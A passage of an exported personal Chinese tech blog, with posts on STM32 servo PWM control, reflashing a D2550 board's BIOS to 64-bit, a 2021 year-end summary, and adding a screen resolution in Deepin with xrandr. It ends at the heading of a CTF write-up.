class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 对应角度 0 45 90 135 180\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 TIM3 通道1的 PWM 模式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e所以主函数为\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省了略各种初始化函数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 先正转,再反转\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 更新CCR1值,直接用寄存器操作\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延时,等舵机转过去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e--\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"转动效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E8%BD%AC%E5%8A%A8%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"转动效果\"\u003e\u003c/a\u003e转动效果\u003c/h4\u003e\u003cp\u003e对了如果发现不转记得检查一下供电,最好插上电源线再测试。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/2.gif\" alt=\"2\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/cac5/"},{"title":"D2550刷64位BIOS记录","time":"2022-05-01T17:20:28Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#D2550-%E5%88%B764%E4%BD%8DBIOS%E8%AE%B0%E5%BD%95\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1x441147zn?spm_id_from=333.880.my_history.page.click\"\u003e芯片级硬解64位系统限制!免费帮助网友解除d2550主板64位系统限制!刷bios轻松解决_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yiniot.com/archives/48/\"\u003e编程夹刷写魔改BIOS ZTE CT320(D2550 cpu)支持64位系统 - 算云烟 (yiniot.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"0x00\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#0x00\" class=\"headerlink\" title=\"0x00\"\u003e\u003c/a\u003e0x00\u003c/h3\u003e\u003cp\u003e目前的网络使用 k2p + N1 使用,比较碰巧这几天有个学弟在出 x86 软路由,就顺手收了过来\u003c/p\u003e\u003cp\u003eU 是 D2550 ,内存 ddr3 2G ,刚好垃圾之前捡的比较多(因为我刚进校的本子是 ddr3 内存),挑了一根4g 的顺便升级一下,至于硬盘多大,已经不重要了…… \u003cdel\u003e(因为后面我线接错给烧了)\u003c/del\u003e\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/2.webp\" alt=\"2\" style=\"zoom: 33%;\"/\u003e\u003ch3 id=\"0x01\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#0x01\" class=\"headerlink\" title=\"0x01\"\u003e\u003c/a\u003e0x01\u003c/h3\u003e\u003cp\u003e拿到手头试了试,速度还不错\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/6.png\" alt=\"6\" style=\"zoom: 67%;\"/\u003e\u003cp\u003e然后想顺便在 docker 里装一个 clash 顺便把我 N1 的活也代替了,但是安装的时候提示不支持……查了一下发现因为这玩意是32 位 BIOS ,但是我不晓得我这是个啥板子……看了点相关博客,决定赌一个 \u003ccode\u003e占美、实达D2550-64BIOS\u003c/code\u003e ,借了个编程器,开始我第一次刷这玩意\u003c/p\u003e\u003ch3 id=\"0x02\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#0x02\" class=\"headerlink\" title=\"0x02\"\u003e\u003c/a\u003e0x02\u003c/h3\u003e\u003cp\u003e先把主板拆出来,发现他的 BIOS 芯片在散热旁边,用夹子夹好一直识别不成功……于是决定拆下来,但是散热器挡着得先拆散热,就想着顺便把硅脂也换了。属于是歪打正着,这玩意硅脂已经硬的离谱了,我清理了半天才下来……\u003c/p\u003e\u003cp\u003e拆下来就这小玩意\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/3.jpg\" alt=\"3\" style=\"zoom:50%;\"/\u003e\u003cp\u003e整之前电脑上先把该装的 \u003cstrong\u003e驱动\u003c/strong\u003e 装了。\u003c/p\u003e\u003cp\u003e夹到夹子用 CH341A 识别挺快,先把原来的 BIOS 读取出来备份,然后按教程里的选 BIOS 刷入,但是我这一直报错\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/4.jpg\" alt=\"4\" style=\"zoom: 80%;\"/\u003e\u003cp\u003e试了好多次还是寄,我以为是夹子的锅,又把这玩意焊到了编程器了,但还是寄。\u003cspan class=\"diana_bengbuzhule\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e经过一番搜索,找到了大概原因是因为有的这玩意有保护,换用 \u003cstrong\u003e\u003ccode\u003eAsProgrammer\u003c/code\u003e\u003c/strong\u003e 刷入,非常顺利\u003c/p\u003e\u003cp\u003e最后开机查看BIOS,屏幕轻松点亮\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/5.webp\" alt=\"5\" style=\"zoom: 33%;\"/\u003e\u003ch3 id=\"一点小状况\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#%E4%B8%80%E7%82%B9%E5%B0%8F%E7%8A%B6%E5%86%B5\" class=\"headerlink\" title=\"一点小状况\"\u003e\u003c/a\u003e一点小状况\u003c/h3\u003e\u003cp\u003e)为什么莫得硬盘呢……纠结了半天最后发现是把电源线接错地方了\u003c/p\u003e\u003cp\u003e然后赶紧换了过来,好家伙一插上就关机……\u003c/p\u003e\u003cp\u003e烧咯……\u003cspan class=\"diana_qiaoda\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e画了60买了新盘,血亏\u003c/del\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e寄,买来硬盘要注意电源线的线序啊,差点又给我烧了。但是线坏了,又得花钱买线了……\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/1eaf/"},{"title":"2021_Summary","time":"2021-12-31T06:53:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/2021-Summary/#2021-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易满足~ \u003cdel\u003e(躺到写年终总结一时间不知道要写啥\u003c/del\u003e\u003c/p\u003e\u003cp\u003e学业方面差强人意?大一结束成绩没有很拉跨,得以在分流于后几名勉强进入通信工程专业。但是作为大类招生第一年的实验品,分流后这一学期学校课程安排的可以说非常拉跨,各种实验各种冲突各种大作业\u003cdel\u003ewdnmd\u003c/del\u003e。但好在还有一点自强不息的意识,身体挺好能熬夜,终于到了这学期结束。不过课程虽然拉跨但还是有合自己胃口的,单片机点亮个灯还是有意思的……不过大多数课真的是能混就混,然后天天早八对我这阴间作息的人来说属实离谱\u003cdel\u003e(怎么会是呢\u003c/del\u003e……\u003c/p\u003e\u003cp\u003e虽然没有太管得住嘴\u003cdel\u003e(还有缺德群友半夜发美食(我自己也发啊那没事了\u003c/del\u003e,但是腿倒是迈开了,每个月书院有一个5km马拉松的小活动,都参加了~虽然跑的挺慢\u003cdel\u003e(基本垫底)\u003c/del\u003e 但能跑下来还整挺好。体测虽然1km还差了几秒,但是过了 ~ 3km的成绩也在及格线里面了。体重只能说挺稳定……(不过这几天因为疫情只能待在宿舍,所以\u003cdel\u003e(xjb找理由就对了\u003c/del\u003e…… 身体健康!\u003cdel\u003e(20岁,四肢健全,大小便正常,下雨知道往家跑,一天可吃三顿饭,健康码绿色,未来可期!)\u003c/del\u003e\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"http://http/img/posts/2021Summary/1.png\" alt=\"1\" style=\"zoom:70%;\"/\u003e\u003c/div\u003e\u003chr/\u003e\u003cp\u003e今年又认识了很多人\u003cdel\u003e(水群越来越勤快了)\u003c/del\u003e,又是被大伙继续关照的一年~也是兴趣爱好和技能继续扩展的一年。因为有大佬带飞,学到了挺多没接触过的东西。现在虽然没有学的很深入,但对于自己的一些想法总能曲曲折折找到一些实现的法子\u003cdel\u003e(让我也体验了一把收获的喜悦)\u003c/del\u003e。在交通群了解到了很多火车知识,顺便看时刻表发现平凉站一天十几趟车只有一趟不是25G……为了运转双层火车,将返校的车票分为两程,结果因为暴雨影响,第一趟车原路折返,改签之后遇到火车改道,在车上困了1天\u003cdel\u003e(一个难忘的国庆假期)\u003c/del\u003e。校庆纪念信封的发行,让我对集邮又有了更多的认识,顺便寄了不少纪念封给同学\u003cdel\u003e(邮政现在挺快哦\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e暑假上海之行,因为疫情影响,火车接二连三被取消……不过到达之后属实大开眼界,各种高架,地铁站十几个出口balabalabala……不过因为建设的比较早,大多数地铁还是挺旧,有的还没报站\u003cdel\u003e(或者是我没发现?\u003c/del\u003e,跑起来挺颠簸。参观了几个公司\u003cdel\u003e(微软园区真不错)\u003c/del\u003e,逛了南京路,看了东方明珠塔,黄浦江漫步,晚上组团上网吧\u003cdel\u003e(交大周围环境真好)\u003c/del\u003e……吃的挺好,就是贵是真贵。然后因为疫情也没有活动很大范围。地方确实挺好,魔都哦~不过回去之后给我健康码变黄了……还好核酸之后打电话给我变回来了。\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"http://http/img/posts/2021Summary/2.jpeg\" alt=\"1641069033334\" style=\"zoom: 50%;text-align: center;margin: 0 auto;\"/\u003e\u003c/div\u003e\u003chr/\u003e\u003cp\u003e大伙都一个一个脱单了,真不错 ~ 然后今年寡了一年\u003cdel\u003e(女生也没认识几个emm\u003c/del\u003e,人也是一如既往的怂\u003cdel\u003e(?\u003c/del\u003e。水群水的的飞起,底下尬聊还是尬聊。祝大伙脱单的长长久久 ~ \u003cdel\u003e没脱单的看看我(男桐不要)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e一年就这么没心没肺下来了 ~ 今年感谢大伙!然后新年继续努力,多水几篇博客,好好学习\u003cdel\u003e吧?\u003c/del\u003e脚踏实地,继续深入学习学习技能。坚持跑步\u003cdel\u003e(减肥\u003c/del\u003e。多找几本书看看,今年好像没看多少书emm\u003cdel\u003e(写个年终中总结都憋不出来几句骚话)\u003c/del\u003e。多看几部电影,多看几部纪录片,多看几场演唱会 ~ 继续维持和大伙的关系,多多联系 ~ 女朋友尽量尽量尽量找\u003cdel\u003e(万一呢)\u003c/del\u003e。少整点阴间作息。情绪少波动一点,虽然说不要想太多,但还是喜欢乱想\u003cdel\u003e(果然还是闲的\u003c/del\u003e。虽说难免走入低谷,还是希望新年能够平稳一些 ~ \u003c/p\u003e\u003cp\u003e\u003cem\u003e♫后知后觉,又过了一个秋~\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e祝大伙新年快乐,踔厉奋发,笃行不怠!愿疫情早日过去!祝福国泰民安!\u003c/strong\u003e\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"https://i.loli.net/2021/04/18/OQWE5NkgnGXdD2C.jpg\" style=\"zoom: 83%;text-align: center;margin: 0 auto;\"/\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/2021-Summary/"},{"title":"Deepin新增分辨率","time":"2021-10-09T14:04:03Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#Deepin-%E6%96%B0%E5%A2%9E%E5%B1%8F%E5%B9%95%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于是拿来装了 Deepin ,但是发现并没有适合自己屏幕的分辨率。\u003c/p\u003e\u003cp\u003e自己动手搜索解决,记录一下过程。\u003c/p\u003e\u003ch3 id=\"添加分辨率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#%E6%B7%BB%E5%8A%A0%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"添加分辨率\"\u003e\u003c/a\u003e添加分辨率\u003c/h3\u003e\u003cp\u003e先查看推荐的配置,加入 \u003ccode\u003e-r\u003c/code\u003e 可以尽可能的减少黑边\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的显示\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 1920x1080 59.93 Hz (CVT 2.07M9-R) hsync: 66.59 kHz; pclk: 138.50 MHz\u003c/span\u003eModeline \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看输出的名字\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-q\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查出来我输出的名字叫 \u003ccode\u003eVGA-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e接下来执行(后面改成自己的)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"保存分辨率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#%E4%BF%9D%E5%AD%98%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"保存分辨率\"\u003e\u003c/a\u003e保存分辨率\u003c/h3\u003e\u003cp\u003e这样修改之后重启就又没有了,所以保存配置\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/profile\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在文件 \u003cstrong\u003e末尾\u003c/strong\u003e 加上\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e保存退出\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"来点成品\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#%E6%9D%A5%E7%82%B9%E6%88%90%E5%93%81\" class=\"headerlink\" title=\"来点成品\"\u003e\u003c/a\u003e来点成品\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/10/09/sCnVyacZrL2oKxl.jpg\" alt=\"psc.jpg\" style=\"zoom:67%;\"/\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/b368/"},{"title":"MoeCTF 2021 WriteUp","time":"2021-09-21T12:15:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 